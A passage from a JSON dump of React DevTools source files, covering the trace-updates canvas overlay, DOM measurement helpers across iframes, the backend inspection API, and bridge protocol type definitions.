!== null) {\n    if (nodeToData.size === 0 && canvas.matches(':popover-open')) {\n      // $FlowFixMe[prop-missing]: Flow doesn't recognize Popover API\n      // $FlowFixMe[incompatible-use]: Flow doesn't recognize Popover API\n      canvas.hidePopover();\n      return;\n    }\n    // $FlowFixMe[incompatible-use]: Flow doesn't recognize Popover API\n    if (canvas.matches(':popover-open')) {\n      // $FlowFixMe[prop-missing]: Flow doesn't recognize Popover API\n      // $FlowFixMe[incompatible-use]: Flow doesn't recognize Popover API\n      canvas.hidePopover();\n    }\n    // $FlowFixMe[prop-missing]: Flow doesn't recognize Popover API\n    // $FlowFixMe[incompatible-use]: Flow doesn't recognize Popover API\n    canvas.showPopover();\n  }\n}\n\ntype GroupItem = {\n  rect: Rect,\n  color: string,\n  displayName: string | null,\n  count: number,\n};\n\nexport type {GroupItem};\n\nexport function groupAndSortNodes(\n  nodeToData: Map<HostInstance, Data>,\n): Array<Array<GroupItem>> {\n  const positionGroups: Map<string, Array<GroupItem>> = new Map();\n\n  iterateNodes(nodeToData, ({rect, color, displayName, count}) => {\n    if (!rect) return;\n    const key = `${rect.left},${rect.top}`;\n    if (!positionGroups.has(key)) positionGroups.set(key, []);\n    positionGroups.get(key)?.push({rect, color, displayName, count});\n  });\n\n  return Array.from(positionGroups.values()).sort((groupA, groupB) => {\n    const maxCountA = Math.max(...groupA.map(item => item.count));\n    const maxCountB = Math.max(...groupB.map(item => item.count));\n    return maxCountA - maxCountB;\n  });\n}\n\nfunction drawGroupBorders(\n  context: CanvasRenderingContext2D,\n  group: Array<GroupItem>,\n) {\n  group.forEach(({color, rect}) => {\n    context.beginPath();\n    context.strokeStyle = color;\n    context.rect(rect.left, rect.top, rect.width - 1, rect.height - 1);\n    context.stroke();\n  });\n}\n\nfunction drawGroupLabel(\n  context: CanvasRenderingContext2D,\n  group: Array<GroupItem>,\n) {\n  const mergedName = group\n    .map(({displayName, count}) =>\n      displayName ? `${displayName}${count > 1 ? ` x${count}` : ''}` : '',\n    )\n    .filter(Boolean)\n    .join(', ');\n\n  if (mergedName) {\n    drawLabel(context, group[0].rect, mergedName, group[0].color);\n  }\n}\n\nexport function draw(nodeToData: Map<HostInstance, Data>, agent: Agent): void {\n  return isReactNativeEnvironment()\n    ? drawNative(nodeToData, agent)\n    : drawWeb(nodeToData);\n}\n\ntype DataWithColorAndNode = {\n  ...Data,\n  color: string,\n  node: HostInstance,\n};\n\nfunction iterateNodes(\n  nodeToData: Map<HostInstance, Data>,\n  execute: (data: DataWithColorAndNode) => void,\n) {\n  nodeToData.forEach((data, node) => {\n    const colorIndex = Math.min(COLORS.length - 1, data.count - 1);\n    const color = COLORS[colorIndex];\n    execute({\n      color,\n      node,\n      count: data.count,\n      displayName: data.displayName,\n      expirationTime: data.expirationTime,\n      lastMeasuredAt: data.lastMeasuredAt,\n      rect: data.rect,\n    });\n  });\n}\n\nfunction drawLabel(\n  context: CanvasRenderingContext2D,\n  rect: Rect,\n  text: string,\n  color: string,\n): void {\n  const {left, top} = rect;\n  context.font = '10px monospace';\n  context.textBaseline = 'middle';\n  context.textAlign = 'center';\n\n  const padding = 2;\n  const textHeight = 14;\n\n  const metrics = context.measureText(text);\n  const backgroundWidth = metrics.width + padding * 2;\n  const backgroundHeight = textHeight;\n  const labelX = left;\n  const labelY = top - backgroundHeight;\n\n  context.fillStyle = color;\n  context.fillRect(labelX, labelY, backgroundWidth, backgroundHeight);\n\n  context.fillStyle = '#000000';\n  context.fillText(\n    text,\n    labelX + backgroundWidth / 2,\n    labelY + backgroundHeight / 2,\n  );\n}\n\nfunction destroyNative(agent: Agent) {\n  agent.emit('disableTraceUpdates');\n}\n\nfunction destroyWeb() {\n  if (canvas !== null) {\n    if (canvas.matches(':popover-open')) {\n      // $FlowFixMe[prop-missing]: Flow doesn't recognize Popover API\n      // $FlowFixMe[incompatible-use]: Flow doesn't recognize Popover API\n      canvas.hidePopover();\n    }\n\n    // $FlowFixMe[incompatible-use]: Flow doesn't recognize Popover API and loses canvas nullability tracking\n    if (canvas.parentNode != null) {\n      // $FlowFixMe[incompatible-call]: Flow doesn't track that canvas is non-null here\n      canvas.parentNode.removeChild(canvas);\n    }\n    canvas = null;\n  }\n}\n\nexport function destroy(agent: Agent): void {\n  return isReactNativeEnvironment() ? destroyNative(agent) : destroyWeb();\n}\n\nfunction initialize(): void {\n  canvas = window.document.createElement('canvas');\n  canvas.setAttribute('popover', 'manual');\n\n  // $FlowFixMe[incompatible-use]: Flow doesn't recognize Popover API\n  canvas.style.cssText = `\n    xx-background-color: red;\n    xx-opacity: 0.5;\n    bottom: 0;\n    left: 0;\n    pointer-events: none;\n    position: fixed;\n    right: 0;\n    top: 0;\n    background-color: transparent;\n    outline: none;\n    box-shadow: none;\n    border: none;\n  `;\n\n  const root = window.document.documentElement;\n  root.insertBefore(canvas, root.firstChild);\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/backend/views/TraceUpdates/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport Agent from 'react-devtools-shared/src/backend/agent';\nimport {destroy as destroyCanvas, draw} from './canvas';\nimport {extractHOCNames, getNestedBoundingClientRect} from '../utils';\n\nimport type {HostInstance} from '../../types';\nimport type {Rect} from '../utils';\n\n// How long the rect should be shown for?\nconst DISPLAY_DURATION = 250;\n\n// What's the longest we are willing to show the overlay for?\n// This can be important if we're getting a flurry of events (e.g. scroll update).\nconst MAX_DISPLAY_DURATION = 3000;\n\n// How long should a rect be considered valid for?\nconst REMEASUREMENT_AFTER_DURATION = 250;\n\n// Markers for different types of HOCs\nconst HOC_MARKERS = new Map([\n  ['Forget', '✨'],\n  ['Memo', '🧠'],\n]);\n\n// Some environments (e.g. React Native / Hermes) don't support the performance API yet.\nconst getCurrentTime =\n  // $FlowFixMe[method-unbinding]\n  typeof performance === 'object' && typeof performance.now === 'function'\n    ? () => performance.now()\n    : () => Date.now();\n\nexport type Data = {\n  count: number,\n  expirationTime: number,\n  lastMeasuredAt: number,\n  rect: Rect | null,\n  displayName: string | null,\n};\n\nconst nodeToData: Map<HostInstance, Data> = new Map();\n\nlet agent: Agent = ((null: any): Agent);\nlet drawAnimationFrameID: AnimationFrameID | null = null;\nlet isEnabled: boolean = false;\nlet redrawTimeoutID: TimeoutID | null = null;\n\nexport function initialize(injectedAgent: Agent): void {\n  agent = injectedAgent;\n  agent.addListener('traceUpdates', traceUpdates);\n}\n\nexport function toggleEnabled(value: boolean): void {\n  isEnabled = value;\n\n  if (!isEnabled) {\n    nodeToData.clear();\n\n    if (drawAnimationFrameID !== null) {\n      cancelAnimationFrame(drawAnimationFrameID);\n      drawAnimationFrameID = null;\n    }\n\n    if (redrawTimeoutID !== null) {\n      clearTimeout(redrawTimeoutID);\n      redrawTimeoutID = null;\n    }\n\n    destroyCanvas(agent);\n  }\n}\n\nfunction traceUpdates(nodes: Set<HostInstance>): void {\n  if (!isEnabled) return;\n\n  nodes.forEach(node => {\n    const data = nodeToData.get(node);\n    const now = getCurrentTime();\n\n    let lastMeasuredAt = data != null ? data.lastMeasuredAt : 0;\n    let rect = data != null ? data.rect : null;\n\n    if (rect === null || lastMeasuredAt + REMEASUREMENT_AFTER_DURATION < now) {\n      lastMeasuredAt = now;\n      rect = measureNode(node);\n    }\n\n    let displayName = agent.getComponentNameForHostInstance(node);\n    if (displayName) {\n      const {baseComponentName, hocNames} = extractHOCNames(displayName);\n\n      const markers = hocNames.map(hoc => HOC_MARKERS.get(hoc) || '').join('');\n\n      const enhancedDisplayName = markers\n        ? `${markers}${baseComponentName}`\n        : baseComponentName;\n\n      displayName = enhancedDisplayName;\n    }\n\n    nodeToData.set(node, {\n      count: data != null ? data.count + 1 : 1,\n      expirationTime:\n        data != null\n          ? Math.min(\n              now + MAX_DISPLAY_DURATION,\n              data.expirationTime + DISPLAY_DURATION,\n            )\n          : now + DISPLAY_DURATION,\n      lastMeasuredAt,\n      rect,\n      displayName,\n    });\n  });\n\n  if (redrawTimeoutID !== null) {\n    clearTimeout(redrawTimeoutID);\n    redrawTimeoutID = null;\n  }\n\n  if (drawAnimationFrameID === null) {\n    drawAnimationFrameID = requestAnimationFrame(prepareToDraw);\n  }\n}\n\nfunction prepareToDraw(): void {\n  drawAnimationFrameID = null;\n  redrawTimeoutID = null;\n\n  const now = getCurrentTime();\n  let earliestExpiration = Number.MAX_VALUE;\n\n  // Remove any items that have already expired.\n  nodeToData.forEach((data, node) => {\n    if (data.expirationTime < now) {\n      nodeToData.delete(node);\n    } else {\n      earliestExpiration = Math.min(earliestExpiration, data.expirationTime);\n    }\n  });\n\n  draw(nodeToData, agent);\n\n  if (earliestExpiration !== Number.MAX_VALUE) {\n    redrawTimeoutID = setTimeout(prepareToDraw, earliestExpiration - now);\n  }\n}\n\nfunction measureNode(node: Object): Rect | null {\n  if (!node || typeof node.getBoundingClientRect !== 'function') {\n    return null;\n  }\n\n  const currentWindow = window.__REACT_DEVTOOLS_TARGET_WINDOW__ || window;\n\n  return getNestedBoundingClientRect(node, currentWindow);\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/backend/views/utils.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport interface Rect {\n  bottom: number;\n  height: number;\n  left: number;\n  right: number;\n  top: number;\n  width: number;\n}\n\n// Get the window object for the document that a node belongs to,\n// or return null if it cannot be found (node not attached to DOM,\n// etc).\nexport function getOwnerWindow(node: HTMLElement): typeof window | null {\n  if (!node.ownerDocument) {\n    return null;\n  }\n  return node.ownerDocument.defaultView;\n}\n\n// Get the iframe containing a node, or return null if it cannot\n// be found (node not within iframe, etc).\nexport function getOwnerIframe(node: HTMLElement): HTMLElement | null {\n  const nodeWindow = getOwnerWindow(node);\n  if (nodeWindow) {\n    return nodeWindow.frameElement;\n  }\n  return null;\n}\n\n// Get a bounding client rect for a node, with an\n// offset added to compensate for its border.\nexport function getBoundingClientRectWithBorderOffset(node: HTMLElement): Rect {\n  const dimensions = getElementDimensions(node);\n  // $FlowFixMe[incompatible-variance]\n  return mergeRectOffsets([\n    node.getBoundingClientRect(),\n    {\n      top: dimensions.borderTop,\n      left: dimensions.borderLeft,\n      bottom: dimensions.borderBottom,\n      right: dimensions.borderRight,\n      // This width and height won't get used by mergeRectOffsets (since this\n      // is not the first rect in the array), but we set them so that this\n      // object type checks as a ClientRect.\n      width: 0,\n      height: 0,\n    },\n  ]);\n}\n\n// Add together the top, left, bottom, and right properties of\n// each ClientRect, but keep the width and height of the first one.\nexport function mergeRectOffsets(rects: Array<Rect>): Rect {\n  return rects.reduce((previousRect, rect) => {\n    if (previousRect == null) {\n      return rect;\n    }\n\n    return {\n      top: previousRect.top + rect.top,\n      left: previousRect.left + rect.left,\n      width: previousRect.width,\n      height: previousRect.height,\n      bottom: previousRect.bottom + rect.bottom,\n      right: previousRect.right + rect.right,\n    };\n  });\n}\n\n// Calculate a boundingClientRect for a node relative to boundaryWindow,\n// taking into account any offsets caused by intermediate iframes.\nexport function getNestedBoundingClientRect(\n  node: HTMLElement,\n  boundaryWindow: typeof window,\n): Rect {\n  const ownerIframe = getOwnerIframe(node);\n  if (ownerIframe && ownerIframe !== boundaryWindow) {\n    const rects: Array<Rect | ClientRect> = [node.getBoundingClientRect()];\n    let currentIframe: null | HTMLElement = ownerIframe;\n    let onlyOneMore = false;\n    while (currentIframe) {\n      const rect = getBoundingClientRectWithBorderOffset(currentIframe);\n      rects.push(rect);\n      currentIframe = getOwnerIframe(currentIframe);\n\n      if (onlyOneMore) {\n        break;\n      }\n      // We don't want to calculate iframe offsets upwards beyond\n      // the iframe containing the boundaryWindow, but we\n      // need to calculate the offset relative to the boundaryWindow.\n      if (currentIframe && getOwnerWindow(currentIframe) === boundaryWindow) {\n        onlyOneMore = true;\n      }\n    }\n\n    // $FlowFixMe[incompatible-variance]\n    return mergeRectOffsets(rects);\n  } else {\n    // $FlowFixMe[incompatible-variance]\n    return node.getBoundingClientRect();\n  }\n}\n\nexport function getElementDimensions(domElement: HTMLElement): {\n  borderBottom: number,\n  borderLeft: number,\n  borderRight: number,\n  borderTop: number,\n  marginBottom: number,\n  marginLeft: number,\n  marginRight: number,\n  marginTop: number,\n  paddingBottom: number,\n  paddingLeft: number,\n  paddingRight: number,\n  paddingTop: number,\n} {\n  const calculatedStyle = window.getComputedStyle(domElement);\n  return {\n    borderLeft: parseInt(calculatedStyle.borderLeftWidth, 10),\n    borderRight: parseInt(calculatedStyle.borderRightWidth, 10),\n    borderTop: parseInt(calculatedStyle.borderTopWidth, 10),\n    borderBottom: parseInt(calculatedStyle.borderBottomWidth, 10),\n    marginLeft: parseInt(calculatedStyle.marginLeft, 10),\n    marginRight: parseInt(calculatedStyle.marginRight, 10),\n    marginTop: parseInt(calculatedStyle.marginTop, 10),\n    marginBottom: parseInt(calculatedStyle.marginBottom, 10),\n    paddingLeft: parseInt(calculatedStyle.paddingLeft, 10),\n    paddingRight: parseInt(calculatedStyle.paddingRight, 10),\n    paddingTop: parseInt(calculatedStyle.paddingTop, 10),\n    paddingBottom: parseInt(calculatedStyle.paddingBottom, 10),\n  };\n}\n\nexport function extractHOCNames(displayName: string): {\n  baseComponentName: string,\n  hocNames: string[],\n} {\n  if (!displayName) return {baseComponentName: '', hocNames: []};\n\n  const hocRegex = /([A-Z][a-zA-Z0-9]*?)\\((.*)\\)/g;\n  const hocNames: string[] = [];\n  let baseComponentName = displayName;\n  let match;\n\n  while ((match = hocRegex.exec(baseComponentName)) != null) {\n    if (Array.isArray(match)) {\n      const [, hocName, inner] = match;\n      hocNames.push(hocName);\n      baseComponentName = inner;\n    }\n  }\n\n  return {\n    baseComponentName,\n    hocNames,\n  };\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/backendAPI.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {hydrate, fillInPath} from 'react-devtools-shared/src/hydration';\nimport {backendToFrontendSerializedElementMapper} from 'react-devtools-shared/src/utils';\nimport Store from 'react-devtools-shared/src/devtools/store';\nimport TimeoutError from 'react-devtools-shared/src/errors/TimeoutError';\nimport ElementPollingCancellationError from 'react-devtools-shared/src/errors/ElementPollingCancellationError';\n\nimport type {\n  InspectedElement as InspectedElementBackend,\n  InspectedElementPayload,\n  SerializedAsyncInfo as SerializedAsyncInfoBackend,\n} from 'react-devtools-shared/src/backend/types';\nimport type {\n  BackendEvents,\n  FrontendBridge,\n} from 'react-devtools-shared/src/bridge';\nimport type {\n  DehydratedData,\n  InspectedElement as InspectedElementFrontend,\n  SerializedAsyncInfo as SerializedAsyncInfoFrontend,\n} from 'react-devtools-shared/src/frontend/types';\nimport type {InspectedElementPath} from 'react-devtools-shared/src/frontend/types';\n\nexport function clearErrorsAndWarnings({\n  bridge,\n  store,\n}: {\n  bridge: FrontendBridge,\n  store: Store,\n}): void {\n  store.rootIDToRendererID.forEach(rendererID => {\n    bridge.send('clearErrorsAndWarnings', {rendererID});\n  });\n}\n\nexport function clearErrorsForElement({\n  bridge,\n  id,\n  rendererID,\n}: {\n  bridge: FrontendBridge,\n  id: number,\n  rendererID: number,\n}): void {\n  bridge.send('clearErrorsForElementID', {\n    rendererID,\n    id,\n  });\n}\n\nexport function clearWarningsForElement({\n  bridge,\n  id,\n  rendererID,\n}: {\n  bridge: FrontendBridge,\n  id: number,\n  rendererID: number,\n}): void {\n  bridge.send('clearWarningsForElementID', {\n    rendererID,\n    id,\n  });\n}\n\nexport function copyInspectedElementPath({\n  bridge,\n  id,\n  path,\n  rendererID,\n}: {\n  bridge: FrontendBridge,\n  id: number,\n  path: Array<string | number>,\n  rendererID: number,\n}): void {\n  bridge.send('copyElementPath', {\n    id,\n    path,\n    rendererID,\n  });\n}\n\nexport function inspectElement(\n  bridge: FrontendBridge,\n  forceFullData: boolean,\n  id: number,\n  path: InspectedElementPath | null,\n  rendererID: number,\n  shouldListenToPauseEvents: boolean,\n): Promise<InspectedElementPayload> {\n  const requestID = requestCounter++;\n  const promise = getPromiseForRequestID<InspectedElementPayload>(\n    requestID,\n    'inspectedElement',\n    bridge,\n    `Timed out while inspecting element ${id}.`,\n    shouldListenToPauseEvents,\n  );\n\n  bridge.send('inspectElement', {\n    forceFullData,\n    id,\n    path,\n    rendererID,\n    requestID,\n  });\n\n  return promise;\n}\n\nexport function inspectScreen(\n  bridge: FrontendBridge,\n  forceFullData: boolean,\n  arbitraryRootID: number,\n  path: InspectedElementPath | null,\n  shouldListenToPauseEvents: boolean,\n): Promise<InspectedElementPayload> {\n  const requestID = requestCounter++;\n  const promise = getPromiseForRequestID<InspectedElementPayload>(\n    requestID,\n    'inspectedScreen',\n    bridge,\n    `Timed out while inspecting screen.`,\n    shouldListenToPauseEvents,\n  );\n\n  bridge.send('inspectScreen', {\n    requestID,\n    id: arbitraryRootID,\n    path,\n    forceFullData,\n  });\n\n  return promise;\n}\n\nlet storeAsGlobalCount = 0;\n\nexport function storeAsGlobal({\n  bridge,\n  id,\n  path,\n  rendererID,\n}: {\n  bridge: FrontendBridge,\n  id: number,\n  path: Array<string | number>,\n  rendererID: number,\n}): void {\n  bridge.send('storeAsGlobal', {\n    count: storeAsGlobalCount++,\n    id,\n    path,\n    rendererID,\n  });\n}\n\nconst TIMEOUT_DELAY = 10_000;\n\nlet requestCounter = 0;\n\nfunction getPromiseForRequestID<T>(\n  requestID: number,\n  eventType: $Keys<BackendEvents>,\n  bridge: FrontendBridge,\n  timeoutMessage: string,\n  shouldListenToPauseEvents: boolean = false,\n): Promise<T> {\n  return new Promise((resolve, reject) => {\n    const cleanup = () => {\n      bridge.removeListener(eventType, onInspectedElement);\n      bridge.removeListener('shutdown', onShutdown);\n\n      if (shouldListenToPauseEvents) {\n        bridge.removeListener('pauseElementPolling', onDisconnect);\n      }\n\n      clearTimeout(timeoutID);\n    };\n\n    const onShutdown = () => {\n      cleanup();\n      reject(\n        new Error(\n          'Failed to inspect element. Try again or restart React DevTools.',\n        ),\n      );\n    };\n\n    const onDisconnect = () => {\n      cleanup();\n      reject(new ElementPollingCancellationError());\n    };\n\n    const onInspectedElement = (data: any) => {\n      if (data.responseID === requestID) {\n        cleanup();\n        resolve((data: T));\n      }\n    };\n\n    const onTimeout = () => {\n      cleanup();\n      reject(new TimeoutError(timeoutMessage));\n    };\n\n    bridge.addListener(eventType, onInspectedElement);\n    bridge.addListener('shutdown', onShutdown);\n\n    if (shouldListenToPauseEvents) {\n      bridge.addListener('pauseElementPolling', onDisconnect);\n    }\n\n    const timeoutID = setTimeout(onTimeout, TIMEOUT_DELAY);\n  });\n}\n\nexport function cloneInspectedElementWithPath(\n  inspectedElement: InspectedElementFrontend,\n  path: Array<string | number>,\n  value: Object,\n): InspectedElementFrontend {\n  const hydratedValue = hydrateHelper(value, path);\n  const clonedInspectedElement = {...inspectedElement};\n\n  fillInPath(clonedInspectedElement, value, path, hydratedValue);\n\n  return clonedInspectedElement;\n}\n\nfunction backendToFrontendSerializedAsyncInfo(\n  asyncInfo: SerializedAsyncInfoBackend,\n): SerializedAsyncInfoFrontend {\n  const ioInfo = asyncInfo.awaited;\n  return {\n    awaited: {\n      name: ioInfo.name,\n      description: ioInfo.description,\n      start: ioInfo.start,\n      end: ioInfo.end,\n      byteSize: ioInfo.byteSize,\n      value: ioInfo.value,\n      env: ioInfo.env,\n      owner:\n        ioInfo.owner === null\n          ? null\n          : backendToFrontendSerializedElementMapper(ioInfo.owner),\n      stack: ioInfo.stack,\n    },\n    env: asyncInfo.env,\n    owner:\n      asyncInfo.owner === null\n        ? null\n        : backendToFrontendSerializedElementMapper(asyncInfo.owner),\n    stack: asyncInfo.stack,\n  };\n}\n\nexport function convertInspectedElementBackendToFrontend(\n  inspectedElementBackend: InspectedElementBackend,\n): InspectedElementFrontend {\n  const {\n    canEditFunctionProps,\n    canEditFunctionPropsDeletePaths,\n    canEditFunctionPropsRenamePaths,\n    canEditHooks,\n    canEditHooksAndDeletePaths,\n    canEditHooksAndRenamePaths,\n    canToggleError,\n    isErrored,\n    canToggleSuspense,\n    isSuspended,\n    hasLegacyContext,\n    id,\n    type,\n    owners,\n    env,\n    source,\n    stack,\n    context,\n    hooks,\n    plugins,\n    props,\n    rendererPackageName,\n    rendererVersion,\n    rootType,\n    state,\n    key,\n    errors,\n    warnings,\n    suspendedBy,\n    suspendedByRange,\n    unknownSuspenders,\n    nativeTag,\n  } = inspectedElementBackend;\n\n  const hydratedSuspendedBy: null | Array<SerializedAsyncInfoBackend> =\n    hydrateHelper(suspendedBy);\n\n  const inspectedElement: InspectedElementFrontend = {\n    canEditFunctionProps,\n    canEditFunctionPropsDeletePaths,\n    canEditFunctionPropsRenamePaths,\n    canEditHooks,\n    canEditHooksAndDeletePaths,\n    canEditHooksAndRenamePaths,\n    canToggleError,\n    isErrored,\n    canToggleSuspense,\n    isSuspended,\n    hasLegacyContext,\n    id,\n    key,\n    plugins,\n    rendererPackageName,\n    rendererVersion,\n    rootType,\n    // Previous backend implementations (<= 6.1.5) have a different interface for Source.\n    // This gates the source features for only compatible backends: >= 6.1.6\n    source: Array.isArray(source) ? source : null,\n    stack: stack,\n    type,\n    owners:\n      owners === null\n        ? null\n        : owners.map(backendToFrontendSerializedElementMapper),\n    env,\n    context: hydrateHelper(context),\n    hooks: hydrateHelper(hooks),\n    props: hydrateHelper(props),\n    state: hydrateHelper(state),\n    errors,\n    warnings,\n    suspendedBy:\n      hydratedSuspendedBy == null // backwards compat\n        ? []\n        : hydratedSuspendedBy.map(backendToFrontendSerializedAsyncInfo),\n    suspendedByRange,\n    unknownSuspenders,\n    nativeTag,\n  };\n\n  return inspectedElement;\n}\n\nexport function hydrateHelper(\n  dehydratedData: DehydratedData | null,\n  path: ?InspectedElementPath,\n): Object | null {\n  if (dehydratedData !== null) {\n    const {cleaned, data, unserializable} = dehydratedData;\n\n    if (path) {\n      const {length} = path;\n      if (length > 0) {\n        // Hydration helper requires full paths, but inspection dehydrates with relative paths.\n        // In that event it's important that we adjust the \"cleaned\" paths to match.\n        return hydrate(\n          data,\n          cleaned.map(cleanedPath => cleanedPath.slice(length)),\n          unserializable.map(unserializablePath =>\n            unserializablePath.slice(length),\n          ),\n        );\n      }\n    }\n\n    return hydrate(data, cleaned, unserializable);\n  } else {\n    return null;\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/bridge.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport EventEmitter from './events';\n\nimport type {ComponentFilter, Wall} from './frontend/types';\nimport type {\n  InspectedElementPayload,\n  OwnersList,\n  ProfilingDataBackend,\n  RendererID,\n  DevToolsHookSettings,\n  ProfilingSettings,\n} from 'react-devtools-shared/src/backend/types';\nimport type {StyleAndLayout as StyleAndLayoutPayload} from 'react-devtools-shared/src/backend/NativeStyleEditor/types';\n\n// This message specifies the version of the DevTools protocol currently supported by the backend,\n// as well as the earliest NPM version (e.g. \"4.13.0\") that protocol is supported by on the frontend.\n// This enables an older frontend to display an upgrade message to users for a newer, unsupported backend.\nexport type BridgeProtocol = {\n  // Version supported by the current frontend/backend.\n  version: number,\n\n  // NPM version range of `react-devtools-inline` that also supports this version.\n  // Note that 'maxNpmVersion' is only set when the version is bumped.\n  minNpmVersion: string,\n  maxNpmVersion: string | null,\n};\n\n// Bump protocol version whenever a backwards breaking change is made\n// in the messages sent between BackendBridge and FrontendBridge.\n// This mapping is embedded in both frontend and backend builds.\n//\n// The backend protocol will always be the latest entry in the BRIDGE_PROTOCOL array.\n//\n// When an older frontend connects to a newer backend,\n// the backend can send the minNpmVersion and the frontend can display an NPM upgrade prompt.\n//\n// When a newer frontend connects with an older protocol version,\n// the frontend can use the embedded minNpmVersion/maxNpmVersion values to display a downgrade prompt.\nexport const BRIDGE_PROTOCOL: Array<BridgeProtocol> = [\n  // This version technically never existed,\n  // but a backwards breaking change was added in 4.11,\n  // so the safest guess to downgrade the frontend would be to version 4.10.\n  {\n    version: 0,\n    minNpmVersion: '\"<4.11.0\"',\n    maxNpmVersion: '\"<4.11.0\"',\n  },\n  // Versions 4.11.x – 4.12.x contained the backwards breaking change,\n  // but we didn't add the \"fix\" of checking the protocol version until 4.13,\n  // so we don't recommend downgrading to 4.11 or 4.12.\n  {\n    version: 1,\n    minNpmVersion: '4.13.0',\n    maxNpmVersion: '4.21.0',\n  },\n  // Version 2 adds a StrictMode-enabled and supports-StrictMode bits to add-root operation.\n  {\n    version: 2,\n    minNpmVersion: '4.22.0',\n    maxNpmVersion: null,\n  },\n];\n\nexport const currentBridgeProtocol: BridgeProtocol =\n  BRIDGE_PROTOCOL[BRIDGE_PROTOCOL.length - 1];\n\ntype ElementAndRendererID = {id: number, rendererID: RendererID};\n\nexport type Message = {\n  event: string,\n  payload: any,\n};\n\ntype HighlightHostInstance = {\n  ...ElementAndRendererID,\n  displayName: string | null,\n  hideAfterTimeout: boolean,\n  openBuiltinElementsPanel: boolean,\n  scrollIntoView: boolean,\n};\ntype HighlightHostInstances = {\n  elements: Array<ElementAndRendererID>,\n  displayName: string | null,\n  hideAfterTimeout: boolean,\n  scrollIntoView: boolean,\n};\n\ntype ScrollToHostInstance = {\n  ...ElementAndRendererID,\n};\n\ntype OverrideValue = {\n  ...ElementAndRendererID,\n  path: Array<string | number>,\n  wasForwarded?: boolean,\n  value: any,\n};\n\ntype OverrideHookState = {\n  ...OverrideValue,\n  hookID: number,\n};\n\ntype PathType = 'props' | 'hooks' | 'state' | 'context';\n\ntype DeletePath = {\n  ...ElementAndRendererID,\n  type: PathType,\n  hookID?: ?number,\n  path: Array<string | number>,\n};\n\ntype RenamePath = {\n  ...ElementAndRendererID,\n  type: PathType,\n  hookID?: ?number,\n  oldPath: Array<string | number>,\n  newPath: Array<string | number>,\n};\n\ntype OverrideValueAtPath = {\n  ...ElementAndRendererID,\n  type: PathType,\n  hookID?: ?number,\n  path: Array<string | number>,\n  value: any,\n};\n\ntype OverrideError = {\n  ...ElementAndRendererID,\n  forceError: boolean,\n};\n\ntype OverrideSuspense = {\n  ...ElementAndRendererID,\n  forceFallback: boolean,\n};\n\ntype OverrideSuspenseMilestone = {\n  rendererID: number,\n  suspendedSet: Array<number>,\n};\n\ntype CopyElementPathParams = {\n  ...ElementAndRendererID,\n  path: Array<string | number>,\n};\n\ntype ViewAttributeSourceParams = {\n  ...ElementAndRendererID,\n  path: Array<string | number>,\n};\n\ntype InspectElementParams = {\n  ...ElementAndRendererID,\n  forceFullData: boolean,\n  path: Array<number | string> | null,\n  requestID: number,\n};\n\ntype InspectScreenParams = {\n  requestID: number,\n  id: number,\n  forceFullData: boolean,\n  path: Array<number | string> | null,\n};\n\ntype StoreAsGlobalParams = {\n  ...ElementAndRendererID,\n  count: number,\n  path: Array<string | number>,\n};\n\ntype NativeStyleEditor_RenameAttributeParams = {\n  ...ElementAndRendererID,\n  oldName: string,\n  newName: string,\n  value: string,\n};\n\ntype NativeStyleEditor_SetValueParams = {\n  ...ElementAndRendererID,\n  name: string,\n  value: string,\n};\n\nexport type SavedPreferencesParams = {\n  componentFilters: Array<ComponentFilter>,\n};\n\nexport type BackendEvents = {\n  backendInitialized: [],\n  backendVersion: [string],\n  bridgeProtocol: [BridgeProtocol],\n  extensionBackendInitialized: [],\n  fastRefreshScheduled: [],\n  getSavedPreferences: [],\n  inspectedElement: [InspectedElementPayload],\n  inspectedScreen: [InspectedElementPayload],\n  isReloadAndProfileSupportedByBackend: [boolean],\n  operations: [Array<number>],\n  ownersList: [OwnersList],\n  environmentNames: [Array<string>],\n  profilingData: [ProfilingDataBackend],\n  profilingStatus: [boolean],\n  reloadAppForProfiling: [],\n  saveToClipboard: [string],\n  selectElement: [number | null],\n  shutdown: [],\n  stopInspectingHost: [boolean],\n  scrollTo: [{left: number, top: number, right: number, bottom: number}],\n  syncSelectionToBuiltinElementsPanel: [],\n  unsupportedRendererVersion: [],\n\n  extensionComponentsPanelShown: [],\n  extensionComponentsPanelHidden: [],\n\n  resumeElementPolling: [],\n  pauseElementPolling: [],\n\n  // React Native style editor plug-in.\n  isNativeStyleEditorSupported: [\n    {isSupported: boolean, validAttributes: ?$ReadOnlyArray<string>},\n  ],\n  NativeStyleEditor_styleAndLayout: [StyleAndLayoutPayload],\n\n  hookSettings: [$ReadOnly<DevToolsHookSettings>],\n};\n\ntype StartProfilingParams = ProfilingSettings;\ntype ReloadAndProfilingParams = ProfilingSettings;\n\nexport type FrontendEvents = {\n  clearErrorsAndWarnings: [{rendererID: RendererID}],\n  clearErrorsForElementID: [ElementAndRendererID],\n  clearHostInstanceHighlight: [],\n  clearWarningsForElementID: [ElementAndRendererID],\n  copyElementPath: [CopyElementPathParams],\n  deletePath: [DeletePath],\n  getBackendVersion: [],\n  getBridgeProtocol: [],\n  getIfHasUnsupportedRendererVersion: [],\n  getOwnersList: [ElementAndRendererID],\n  getProfilingData: [{rendererID: RendererID}],\n  getProfilingStatus: [],\n  highlightHostInstance: [HighlightHostInstance],\n  highlightHostInstances: [HighlightHostInstances],\n  inspectElement: [InspectElementParams],\n  inspectScreen: [InspectScreenParams],\n  logElementToConsole: [ElementAndRendererID],\n  overrideError: [OverrideError],\n  overrideSuspense: [OverrideSuspense],\n  overrideSuspenseMilestone: [OverrideSuspenseMilestone],\n  overrideValueAtPath: 